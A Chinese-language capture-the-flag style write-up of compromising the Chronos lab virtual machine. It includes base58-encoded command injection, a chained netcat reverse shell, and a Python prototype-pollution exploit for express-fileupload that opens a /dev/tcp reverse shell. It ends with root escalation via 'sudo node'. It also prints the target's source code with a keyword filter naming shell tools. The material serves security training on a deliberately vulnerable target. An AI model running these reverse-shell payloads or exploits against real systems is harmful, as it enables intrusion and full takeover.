靶机Chronos渗透

涉及攻击方法:

  • 端口扫描
  • WEB侦查
  • 命令注入
  • 数据编解码
  • 搜索大法
  • 框架漏洞利用
  • 代码审计
  • NC串联
  • 本地提权

使用的工具

  • netdiscover
  • nmap
  • burpsuit
  • CyberChef

部署好靶机,我使用的桥接方式

渗透

使用netdiscover扫描192.168.0.0/16,可以看到靶机ip是192.168.0.134

使用nmap扫描端口

可以看到靶机使用的是ubuntu,80端口开放的http服务器,8000使用nodejs搭建的一个服务器,直接访问80端口,进来只有Chronos - Date & Time显示,直接查看源码,可以找到一串加密过的js代码

var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}

可以使用CyberChef,进行代码美化

var _0x5bdf = [
    '150447srWefj',
    '70lwLrol',
    '1658165LmcNig',
    'open',
    '1260881JUqdKM',
    '10737CrnEEe',
    '2SjTdWC',
    'readyState',
    'responseText',
    '1278676qXleJg',
    '797116soVTES',
    'onreadystatechange',
    'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
    'User-Agent',
    'status',
    '1DYOODT',
    '400909Mbbcfr',
    'Chronos',
    '2QRBPWS',
    'getElementById',
    'innerHTML',
    'date'
];
(function (_0x506b95, _0x817e36) {
    var _0x244260 = _0x432d;
    while (!![]) {
        try {
            var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
            if (_0x35824b === _0x817e36)
                break;
            else
                _0x506b95['push'](_0x506b95['shift']());
        } catch (_0x3fb1dc) {
            _0x506b95['push'](_0x506b95['shift']());
        }
    }
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
    return _0x432d = function (_0x5bdf82, _0x432dc8) {
        _0x5bdf82 = _0x5bdf82 - 126;
        var _0x4da6e8 = _0x5bdf[_0x5bdf82];
        return _0x4da6e8;
    }, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
    var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
    _0x2beb35[_0x17df92(137)] = function () {
        var _0x146f5d = _0x17df92;
        this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
    }, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}

可以明显的看到调用了8000端口的nodejs的服务器,其他东西都编码了,没发现其他有用的东西
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

这里访问的chronos.local,chronos是靶机的名字,猜测应该是访问的靶机8000端口,直接修改本地hosts,再次刷新发现多出了个时间

使用burpsuit抓包,可以发现发送请求后返回了时间,分析下链接猜测发送过去的内容使用base64编码

直接使用CyberChef,发现是base58编码,直接解码得到'+Today is %A, %B %d, %Y %H:%M:%S.'

发送过去的路径是/date,而且这串字符好像在哪见过,猜测是执行的系统命令date,尝试发现就是执行的系统命令

接下来就是命令执行,可以在date前加;|&&,都可以执行后面的命令,尝试执行; ls,直接base58编码发送请求,成功执行

接下来进行信息收集,发现whoami被过滤了,尝试进行反弹shell
反弹shell的方式可以看各种花式弹shell

查看bin目录,有bashnc,都可进行反弹shell

尝试发现bash执行失败,nc没有-e参数,使用nc 192.168.0.135 4444 | /bin/bash | nc 192.168.0.135 5555成功反弹

这个靶机需要获取两个flag,可以发现一个在home下有一个文件user.txt,猜测flag在里面,但是没有权限访问,linux常用提权方式,内核漏洞提权,sudo提权,尝试发现内核没有漏洞,sudo不能执行,分析nodejs代码

package.json
{
  "dependencies": {
    "bs58": "^4.0.1",
    "cors": "^2.8.5",
    "express": "^4.17.1"
  }
}

app.js
// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

const port = 8000;

const cors = require('cors');


app.use(cors());

app.get('/', (req,res) =>{

    res.sendFile("/var/www/html/index.html");
});

app.get('/date', (req, res) => {

    var agent = req.headers['user-agent'];
    var cmd = 'date ';
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded);
    if (agent === 'Chronos') {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {

            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{

        res.send("Permission Denied");
    }
})

app.listen(port,() => {

    console.log(`Server running at ${port}`);

})

分析发现,把idwhoamipythonncbashphpwhichsocat都过滤了,分析发现随便代码检测到了,这些命令但还是执行了系统命令,没有发现提权的东西,继续查找发现/opt下还有个chronos-v2的目录,猜测应该还有别的服务没有探测到,获取代码

package.json
{
  "name": "some-website",
  "version": "1.0.0",
  "description": "",
  "main": "server.js",
  "scripts": {
    "start": "node server.js"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "ejs": "^3.1.5",
    "express": "^4.17.1",
    "express-fileupload": "^1.1.7-alpha.3"
  }
}

server.js
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

分析代码发现,这个服务器只能本地访问,查找发现express-fileupload存在原型链污染漏洞,可以使用这个进行提权,根据查找找到发现这个漏洞的人的博客,里面详细介绍了这个漏洞,并且还有exp,用python写的
博客地址:https://blog.p6.is/Real-World-JS-1/

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.0.135/4444 0>&1"'

# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://127.0.0.1:8080')

在本地开个http服务,把文件下载到/tmp,在这里更容易文件执行

成功反弹,提权成功


获取第一个flag

切换到/root,提示权限不够,看来还得提权

尝试用sudo提权,可以看到npmnode提权都不需要密码。可以直接提权

可以直接使用node提权sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})',成功提权

获得第二个flag

总结

  1. 第一次打靶机,写的没那么好
  2. 这是一次把理论用于实践
  3. 这次主要是涉及的内网提权,以前一直是打的简单的ctf,内网渗透接触的少

请微信搜索【 0x00实验室 】文章更新将在第一时间阅读 !

暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇